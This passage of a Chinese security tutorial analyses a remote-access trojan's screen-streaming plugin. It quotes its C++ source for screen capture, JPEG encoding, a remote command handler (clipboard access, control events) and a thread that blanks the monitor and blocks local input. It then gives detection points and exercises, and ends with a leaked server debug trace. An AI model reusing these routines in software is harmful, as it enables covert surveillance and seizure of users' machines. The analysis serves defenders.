编码。// 第二处 BitBlt:把变化块复制到临时矩形位图,准备编码。        ::BitBlt(m_hRectMemDC, 00, nChangedRectWidth, nChangedRectHeight,            m_hCurrMemDC, lpChangedRect[i].left, lpChangedRect[i].top, SRCCOPY);void* bitstream = NULL;int bitstreamlen = BMP_JPG(nChangedRectWidth, nChangedRectHeight,            m_biBitCount, m_SendUALITY, m_lpvRectBits, &bitstream);if (bitstreamlen > 0)        {// 每个变化块写入:JPEG 长度 -> JPEG 数据 -> RECT 坐标。// 接收端据此把小块贴回完整画面。            WriteChangedBuffer((LPBYTE)&bitstreamlen, sizeof(int));            WriteChangedBuffer((LPBYTE)bitstream, bitstreamlen);            WriteChangedBuffer((LPBYTE)&lpChangedRect[i], sizeof(RECT));        }if (bitstream)free(bitstream);        ::DeleteObject(m_hRectBitmap);    }}

屏幕帧数据很大,直接发送会占用大量带宽。因此代码中使用 JPEG 压缩,再由管理器层使用 zlib 压缩封包。

// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.cpp:267-318// 防御分析注释:// 1. BMP_JPG() 把 DIBSection 中的屏幕像素编码成 JPEG。// 2. 该函数既可处理首帧整屏,也可处理后续变化矩形。// 3. 网络侧看到的不是明文屏幕内容,而是压缩后的高熵二进制数据。intCScreenSpy::BMP_JPG(int width, int height, int cbit, int quality, void* input, void** output){    jpeg_compress_struct jcs;    jpeg_error_mgr jem;    jcs.err = jpeg_std_error(&jem);    jpeg_create_compress(&jcs);unsignedlong outlen = 0;// jpeg_mem_dest 表示输出写入内存,而不是写入文件。// 对检测来说,“内存编码 + 网络发送”比“保存图片文件”更隐蔽。    jpeg_mem_dest(&jcs, (unsignedchar**)output, &outlen);// 根据位深设置 JPEG 输入颜色空间。// 默认 32 位屏幕像素走 JCS_EXT_BGRA。switch (cbit)    {case16:        jcs.in_color_space = JCS_EXT_RGB;        jcs.input_components = 3;break;case24:        jcs.in_color_space = JCS_EXT_BGR;        jcs.input_components = 3;break;case32:        jcs.in_color_space = JCS_EXT_BGRA;        jcs.input_components = 4;break;default:        jpeg_destroy_compress(&jcs);return-1;    }    jcs.image_width = width;    jcs.image_height = height;    jpeg_set_defaults(&jcs);// quality 由命令面可调。质量越高,画面越清晰,通常数据也越大。    jpeg_set_quality(&jcs, quality, TRUE);    jpeg_start_compress(&jcs, TRUE);// 逐行写入 JPEG 编码器。line_stride 按位深和 4 字节对齐计算。int line_stride = (jcs.image_width * cbit / 8 + 3) / 4 * 4;while (jcs.next_scanline < jcs.image_height)    {unsignedchar* pline = (unsignedchar*)input + jcs.next_scanline * line_stride;        jpeg_write_scanlines(&jcs, &pline, 1);    }    jpeg_finish_compress(&jcs);    jpeg_destroy_compress(&jcs);return outlen;}

网络检测不能期待看到“屏幕文本”。它更可能看到持续的、大小波动的、压缩后的二进制上行流量。

12. 命令面:哪些能力必须被视为高风险

OnReceive 中包含多类命令:刷新、控制、算法重置、FPS、输入屏蔽、黑屏、分层窗口捕获、剪贴板读取和设置、质量调整等。

// 源码位置:主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp:73-139// 防御分析注释:这里是远程屏幕插件的命令面。// 本课只归类风险,不提供任何触发方式。voidCScreenQuickManager::OnReceive(LPBYTE lpBuffer, UINT nSize){if (lpBuffer[0] == TOKEN_HEARTBEAT)return;switch (lpBuffer[0])    {case COMMAND_FLUSH_QUICK:// 刷新画面。break;case COMMAND_SCREEN_CONTROL_QUICK:// 高风险:处理远程控制事件。        ProcessCommand(lpBuffer + 1, nSize - 1);break;case COMMAND_SCREEN_ALGORITHM_RESET:case COMMAND_SCREEN_RESET_QUICK:case COMMAND_SCREEN_FPS_QUICK:// 调整屏幕编码、位深和帧率。break;case COMMAND_SCREEN_BLOCK_INPUT_QUICK:// 高风险:屏蔽本地输入。break;case COMMAND_SCREEN_BLANK_QUICK:// 高风险:控制黑屏状态。break;case COMMAND_SCREEN_CAPTURE_LAYER_QUICK:// 捕获分层窗口,可能扩大隐私暴露范围。break;case COMMAND_SCREEN_GET_CLIPBOARD_QUICK:case COMMAND_SCREEN_SET_CLIPBOARD:// 高风险:读取或写入剪贴板。break;    }}

其中 ProcessCommand 会处理鼠标和键盘事件,属于远程控制面。本课不展开底层事件注入细节。对企业来说,重点是识别“屏幕采集 + 控制事件 + 输入屏蔽/黑屏”的组合,这通常不应出现在未登记、未授权、无用户提示的进程中。

13. 控制线程:黑屏、输入屏蔽和分辨率变化

控制线程持续运行,用于处理分辨率变化、黑屏状态和输入屏蔽。

// 源码位置:主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp:243-275// 防御分析注释:控制线程会持续维护黑屏和输入屏蔽状态。// 这类行为对合法远程协助软件也必须有明确授权和可见提示。unsignedCScreenQuickManager::ControlThread(LPVOID lparam){staticbool bIsScreenBlanked = false;    CScreenQuickManager* pThis = (CScreenQuickManager*)lparam;    pThis->WaitForDialogOpen();while (pThis->IsConnect())    {if (pThis->IsMetricsChange() && pThis->m_bIsWorking)            pThis->ResetScreen(pThis->GetCurrentPixelBits());if (pThis->m_bIsBlankScreen)        {            SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1NULL0);            PostMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);            bIsScreenBlanked = true;            BlockInput(TRUE);        }elseif (bIsScreenBlanked)        {            SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0NULL0);            PostMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);            bIsScreenBlanked = false;            BlockInput(FALSE);        }        Sleep(200);    }    BlockInput(FALSE);return0;}

安全风险在于:这类行为会改变用户对本机的控制能力。合法软件如果需要“黑屏模式”或“屏蔽输入”,应具备强授权、可见提示、会话记录、管理员审批和紧急退出机制。

14. 企业检测点

建议按以下层面建立检测:

层面
检测点
说明
图形 API
GetDC
GetDesktopWindowBitBltCreateDIBSection
屏幕采集核心链路
编码压缩
JPEG 函数、zlib compress
屏幕流通常会压缩
网络行为
持续上行、大小波动、低延迟循环
和帧率、屏幕变化、变化矩形数量相关
进程行为
未知插件 DLL、长期工作线程
和模块加载记录关联
隐私行为
捕获分层窗口、读取剪贴板
扩大隐私暴露范围
控制行为
BlockInput
PostMessage 控制显示器
高风险远程控制信号
合规侧
是否有用户提示、授权记录、会话留痕
合法远程协助必须具备

一个实用的关联逻辑:

  1. 进程建立外联连接。
  2. 同一进程调用屏幕采集 API。
  3. 同一进程调用图像压缩库。
  4. 出现持续上行数据。
  5. 出现剪贴板或输入屏蔽行为。

如果 1-4 同时满足,已经值得重点关注;如果再叠加第 5 项,应按高风险远程屏幕会话处理。

15. 合法练习题

  1. 不运行插件,只阅读源码,画出 WorkThread -> sendFirstScreen -> getFirstScreen -> compress -> Send 的调用链。
  2. 列出 ScreenSpy.cpp 中和屏幕采集相关的 GDI API,并说明每个 API 的防御含义。
  3. 说明本课为什么判断 JPEG 依赖来自 libjpeg-turbo,以及源码调用的是哪一组 jpeg_* API。
  4. 设计一条企业检测规则:未知进程在 30 秒内调用 BitBlt、JPEG 编码和外联发送时触发告警。
  5. 站在合法远程协助产品角度,设计“屏蔽输入”和“黑屏模式”的授权与退出机制。
  6. 比较一次性截图和持续屏幕流的流量差异,写出网络侧检测思路。

16. 本课小结

高速屏幕插件的主线是:网络连接创建管理器,管理器启动工作线程,CScreenSpy 通过 GDI 采集桌面画面,首帧发送整屏 JPEG,后续帧扫描变化矩形并把小块 JPEG/zlib 压缩后以 TOKEN_* 形式发送。它之所以叫“高速屏幕”,核心在于低延迟优先的连续采集、变化扫描、内存编码和持续发送链路。防御侧要把屏幕采集 API、压缩库、持续上行流量、剪贴板访问、输入屏蔽和黑屏控制组合起来看,而不是孤立地搜索某一个函数名。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-07-03 13:03:24 HTTP/1.1 GET : https://www.yeyulingfeng.com/a/831109.html
  2. 运行时间 : 0.144165s [ 吞吐率:6.94req/s ] 内存消耗:4,737.05kb 文件加载:145
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=599f3d9eac7945c8413919025012ca9f
  1. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/composer/autoload_static.php ( 6.05 KB )
  7. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/ralouphie/getallheaders/src/getallheaders.php ( 1.60 KB )
  10. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  11. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  12. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  13. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  14. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  15. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  16. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  17. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  18. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  19. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/guzzlehttp/guzzle/src/functions_include.php ( 0.16 KB )
  21. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/guzzlehttp/guzzle/src/functions.php ( 5.54 KB )
  22. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  23. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  24. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  25. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/provider.php ( 0.19 KB )
  26. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  27. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  28. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  29. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/common.php ( 0.03 KB )
  30. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  32. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/alipay.php ( 3.59 KB )
  33. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  34. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/app.php ( 0.95 KB )
  35. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/cache.php ( 0.78 KB )
  36. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/console.php ( 0.23 KB )
  37. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/cookie.php ( 0.56 KB )
  38. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/database.php ( 2.48 KB )
  39. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/filesystem.php ( 0.61 KB )
  40. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/lang.php ( 0.91 KB )
  41. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/log.php ( 1.35 KB )
  42. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/middleware.php ( 0.19 KB )
  43. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/route.php ( 1.89 KB )
  44. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/session.php ( 0.57 KB )
  45. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/trace.php ( 0.34 KB )
  46. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/config/view.php ( 0.82 KB )
  47. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/event.php ( 0.25 KB )
  48. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  49. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/service.php ( 0.13 KB )
  50. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/AppService.php ( 0.26 KB )
  51. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  52. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  53. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  54. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  55. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  56. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/services.php ( 0.14 KB )
  57. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  58. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  59. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  60. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  61. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  62. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  63. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  64. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  65. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  66. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  67. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  68. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  69. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  70. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  71. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  72. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  73. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  74. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  75. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  76. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  77. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  78. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  79. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  80. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  81. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  82. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  83. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  84. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  85. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  86. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  87. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/Request.php ( 0.09 KB )
  88. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  89. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/middleware.php ( 0.25 KB )
  90. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  91. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  92. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  93. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  94. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  95. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  96. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  97. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  98. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  99. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  100. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  101. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  102. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  103. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/route/app.php ( 3.94 KB )
  104. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  105. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  106. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/controller/Index.php ( 9.87 KB )
  108. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/BaseController.php ( 2.05 KB )
  109. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  110. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  111. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  112. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  113. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  114. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  115. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  116. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  117. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  118. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  119. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  120. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  121. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  122. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  123. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  124. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  125. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  126. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  127. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  128. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  129. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  130. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  131. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  132. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  133. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  134. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  135. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/controller/Es.php ( 3.30 KB )
  136. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  137. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  138. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  139. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  140. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  141. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  142. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  143. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  144. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/runtime/temp/c935550e3e8a3a4c27dd94e439343fdf.php ( 31.50 KB )
  145. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.001141s ] mysql:host=127.0.0.1;port=3306;dbname=wenku;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.001714s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000724s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000691s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.001341s ]
  6. SELECT * FROM `set` [ RunTime:0.000604s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.001414s ]
  8. SELECT * FROM `article` WHERE `id` = 831109 LIMIT 1 [ RunTime:0.001506s ]
  9. UPDATE `article` SET `lasttime` = 1783055004 WHERE `id` = 831109 [ RunTime:0.012929s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 64 LIMIT 1 [ RunTime:0.000775s ]
  11. SELECT * FROM `article` WHERE `id` < 831109 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.001289s ]
  12. SELECT * FROM `article` WHERE `id` > 831109 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.014610s ]
  13. SELECT * FROM `article` WHERE `id` < 831109 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.003543s ]
  14. SELECT * FROM `article` WHERE `id` < 831109 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.001485s ]
  15. SELECT * FROM `article` WHERE `id` < 831109 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.004068s ]
0.148144s